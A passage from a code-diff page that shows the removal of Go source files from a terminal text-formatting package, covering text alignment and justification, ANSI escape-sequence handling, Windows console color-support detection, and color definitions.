return fmt.Sprintf("%"+strconv.Itoa(maxLength+numEscChars)+"s",
text+strings.Repeat(" ", int((maxLength-sLenWoE)/2)))
}
case AlignJustify:
return a.justifyText(text, sLenWoE, maxLength)
}
return fmt.Sprintf("%"+strconv.Itoa(maxLength+numEscChars)+"s", text)
}
// HTMLProperty returns the equivalent HTML horizontal-align tag property.
func (a Align) HTMLProperty() string {
switch a {
case AlignLeft:
return "align=\"left\""
case AlignCenter:
return "align=\"center\""
case AlignJustify:
return "align=\"justify\""
case AlignRight:
return "align=\"right\""
default:
return ""
}
}
// MarkdownProperty returns the equivalent Markdown horizontal-align separator.
func (a Align) MarkdownProperty() string {
switch a {
case AlignLeft:
return ":--- "
case AlignCenter:
return ":---:"
case AlignRight:
return " ---:"
default:
return " --- "
}
}
func (a Align) justifyText(text string, textLength int, maxLength int) string {
// split the text into individual words
wordsUnfiltered := strings.Split(text, " ")
words := Filter(wordsUnfiltered, func(item string) bool {
return item != ""
})
// empty string implies spaces for maxLength
if len(words) == 0 {
return strings.Repeat(" ", maxLength)
}
// get the number of spaces to insert into the text
numSpacesNeeded := maxLength - textLength + strings.Count(text, " ")
numSpacesNeededBetweenWords := 0
if len(words) > 1 {
numSpacesNeededBetweenWords = numSpacesNeeded / (len(words) - 1)
}
// create the output string word by word with spaces in between
var outText strings.Builder
outText.Grow(maxLength)
for idx, word := range words {
if idx > 0 {
// insert spaces only after the first word
if idx == len(words)-1 {
// insert all the remaining space before the last word
outText.WriteString(strings.Repeat(" ", numSpacesNeeded))
numSpacesNeeded = 0
} else {
// insert the determined number of spaces between each word
outText.WriteString(strings.Repeat(" ", numSpacesNeededBetweenWords))
// and reduce the number of spaces needed after this
numSpacesNeeded -= numSpacesNeededBetweenWords
}
}
outText.WriteString(word)
if idx == len(words)-1 && numSpacesNeeded > 0 {
outText.WriteString(strings.Repeat(" ", numSpacesNeeded))
}
}
return outText.String()
}
func (a Align) trimString(text string) string {
switch a {
case AlignDefault, AlignLeft:
if strings.HasSuffix(text, " ") {
return strings.TrimRight(text, " ")
}
case AlignRight:
if strings.HasPrefix(text, " ") {
return strings.TrimLeft(text, " ")
}
default:
if strings.HasPrefix(text, " ") || strings.HasSuffix(text, " ") {
return strings.Trim(text, " ")
}
}
return text
}
-55
View File
@@ -1,55 +0,0 @@
package text
import "strings"
// ANSICodesSupported will be true on consoles where ANSI Escape Codes/Sequences
// are supported.
var ANSICodesSupported = areANSICodesSupported()
// Escape encodes the string with the ANSI Escape Sequence.
// For ex.:
// Escape("Ghost", "") == "Ghost"
// Escape("Ghost", "\x1b[91m") == "\x1b[91mGhost\x1b[0m"
// Escape("\x1b[94mGhost\x1b[0mLady", "\x1b[91m") == "\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m"
// Escape("Nymeria\x1b[94mGhost\x1b[0mLady", "\x1b[91m") == "\x1b[91mNymeria\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m"
// Escape("Nymeria \x1b[94mGhost\x1b[0m Lady", "\x1b[91m") == "\x1b[91mNymeria \x1b[94mGhost\x1b[0m\x1b[91m Lady\x1b[0m"
func Escape(str string, escapeSeq string) string {
out := ""
if !strings.HasPrefix(str, EscapeStart) {
out += escapeSeq
}
out += strings.Replace(str, EscapeReset, EscapeReset+escapeSeq, -1)
if !strings.HasSuffix(out, EscapeReset) {
out += EscapeReset
}
if strings.Contains(out, escapeSeq+EscapeReset) {
out = strings.Replace(out, escapeSeq+EscapeReset, "", -1)
}
return out
}
// StripEscape strips all ANSI Escape Sequence from the string.
// For ex.:
// StripEscape("Ghost") == "Ghost"
// StripEscape("\x1b[91mGhost\x1b[0m") == "Ghost"
// StripEscape("\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m") == "GhostLady"
// StripEscape("\x1b[91mNymeria\x1b[94mGhost\x1b[0m\x1b[91mLady\x1b[0m") == "NymeriaGhostLady"
// StripEscape("\x1b[91mNymeria \x1b[94mGhost\x1b[0m\x1b[91m Lady\x1b[0m") == "Nymeria Ghost Lady"
func StripEscape(str string) string {
var out strings.Builder
out.Grow(RuneCount(str))
isEscSeq := false
for _, sChr := range str {
if sChr == EscapeStartRune {
isEscSeq = true
}
if !isEscSeq {
out.WriteRune(sChr)
}
if isEscSeq && sChr == EscapeStopRune {
isEscSeq = false
}
}
return out.String()
}
-7
View File
@@ -1,7 +0,0 @@
// +build !windows
package text
func areANSICodesSupported() bool {
return true
}
-31
View File
@@ -1,31 +0,0 @@
// +build windows
package text
import (
"os"
"sync"
"golang.org/x/sys/windows"
)
var (
enableVTPMutex = sync.Mutex{}
)
func areANSICodesSupported() bool {
enableVTPMutex.Lock()
defer enableVTPMutex.Unlock()
outHandle := windows.Handle(os.Stdout.Fd())
var outMode uint32
if err := windows.GetConsoleMode(outHandle, &outMode); err == nil {
if outMode&windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING != 0 {
return true
}
if err := windows.SetConsoleMode(outHandle, outMode|windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING); err == nil {
return true
}
}
return false
}
-183
View File
@@ -1,183 +0,0 @@
package text
import (
"fmt"
"sort"
"strconv"
"strings"
"sync"
)
var (
colorsEnabled = areANSICodesSupported()
)
// DisableColors (forcefully) disables color coding globally.
func DisableColors() {
colorsEnabled = false
}
// EnableColors (forcefully) enables color coding globally.
func EnableColors() {
colorsEnabled = true
}
// The logic here is inspired from github.com/fatih/color; the following is
// the the bare minimum logic required to print Colored to the console.
// The differences:
// * This one caches the escape sequences for cases with multiple colors
// * This one handles cases where the incoming already has colors in the
// form of escape sequences; in which case, text that does not have any
// escape sequences are colored/escaped
// Color represents a single color to render with.
type Color int
// Base colors -- attributes in reality
const (
Reset Color = iota
Bold
Faint
Italic
Underline
BlinkSlow
BlinkRapid
ReverseVideo
Concealed
CrossedOut
)
// Foreground colors
const (
FgBlack Color = iota + 30
FgRed
FgGreen
FgYellow
FgBlue
FgMagenta
FgCyan
FgWhite
)
// Foreground Hi-Intensity colors
const (
FgHiBlack Color = iota + 90
FgHiRed
FgHiGreen
FgHiYellow
FgHiBlue
FgHiMagenta
FgHiCyan
FgHiWhite
)
// Background colors
const (
BgBlack Color = iota + 40
BgRed
BgGreen
BgYellow
BgBlue
BgMagenta
BgCyan
BgWhite
)
// Background Hi-Intensity colors
const (
BgHiBlack Color = iota + 100
BgHiRed
BgHiGreen
BgHiYellow
BgHiBlue
BgHiMagenta
BgHiCyan
BgHiWhite
)
// EscapeSeq returns the ANSI escape sequence for the color.
func (c Color) EscapeSeq() string {
return EscapeStart + strconv.Itoa(int(c)) + EscapeStop
}
// HTMLProperty returns the "class" attribute for the color.
func (c Color) HTMLProperty() string {
out := ""
if class, ok := colorCSSClassMap[c]; ok {
out = fmt.Sprintf("class=\"%s\"", class)
}
return out
}
// Sprint colorizes and prints the given string(s).
func (c Color) Sprint(a ...interface{}) string {
return colorize(fmt.Sprint(a...), c.EscapeSeq())
}
// Sprintf formats and colorizes and prints the given string(s).
func (c Color) Sprintf(format string, a ...interface{}) string {
return colorize(fmt.Sprintf(format, a...), c.EscapeSeq())
}
// Colors represents an array of Color objects to render with.
// Example: Colors{FgCyan, BgBlack}
type Colors []Color
var (
// colorsSeqMap caches the escape sequence for a set of colors
colorsSeqMap = sync.Map{}
)
// EscapeSeq returns the ANSI escape sequence for the colors set.
func (c Colors) EscapeSeq() string {
if len(c) == 0 {
return ""
}
colorsKey := fmt.Sprintf("%#v", c)
escapeSeq, ok := colorsSeqMap.Load(colorsKey)
if !ok || escapeSeq == "" {
colorNums := make([]string, len(c))
for idx, color := range c {
colorNums[idx] = strconv.Itoa(int(color))
}
escapeSeq = EscapeStart + strings.Join(colorNums, ";") + EscapeStop
colorsSeqMap.Store(colorsKey, escapeSeq)
}
return escapeSeq.(string)
}
// HTMLProperty returns the "class" attribute for the colors.
func (c Colors) HTMLProperty() string {
if len(c) == 0 {
return ""
}
var classes []string
for _, color := range c {
if class, ok := colorCSSClassMap[color]; ok {
classes = append(classes, class)
}
}
if len(classes) > 1 {
sort.Strings(classes)
}
return fmt.Sprintf("class=\"%s\"", strings.Join(classes, " "))
}
// Sprint colorizes and prints the given string(s).
func (c Colors) Sprint(a ...interface{}) string {
return colorize(fmt.Sprint(a...), c.EscapeSeq())
}
// Sprintf formats and colorizes and prints the given string(s).
func (c Colors) Sprintf(format string, a ...interface{}) string {
return colorize(fmt.Sprintf(format, a...), c.EscapeSeq())
}
func colorize(s string, escapeSeq string) string {
if !colorsEnabled || escapeSeq == "" {
return s
}
return Escape(s, escapeSeq)
}
Loaded 100 of 122 files, more files were not shown because too many files have changed in this diff. Show more